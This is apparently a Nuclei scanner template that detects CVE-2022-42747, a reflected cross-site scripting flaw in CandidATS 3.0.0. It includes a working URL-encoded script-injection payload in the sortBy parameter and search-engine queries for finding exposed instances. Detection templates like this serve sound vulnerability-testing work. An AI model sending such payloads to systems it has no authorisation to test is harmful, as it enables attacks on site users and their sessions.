id: CVE-2022-42747 info: name: CandidATS 3.0.0 - Cross-Site Scripting. author: arafatansari severity: medium description: | CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the application. remediation: | To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS. reference: - https://fluidattacks.com/advisories/modestep/ - https://fluidattacks.com/advisories/jcole/ - https://candidats.net/ - https://nvd.nist.gov/vuln/detail/CVE-2022-42747 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-42747 cwe-id: CWE-79 epss-score: 0.00109 epss-percentile: 0.43507 cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: auieo product: candidats shodan-query: http.html:"CandidATS" fofa-query: body="candidats" tags: cve,cve2022,candidats,xss,auieo http: - method: GET path: - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0' matchers-condition: and matchers: - type: word part: body words: - '' - 'candidat' condition: and - type: word part: header words: - text/html - type: status status: - 404 # digest: 4b0a00483046022100d31eac3d15d81134911f90f3c97df9b33a3f368a6e719f11104eb87b6b014a64022100b087422d6f0c4d4b4ac90c6da503f8cde1a878308d465636399a9a8770b32912:922c64590222798bb761d5b6d8e72950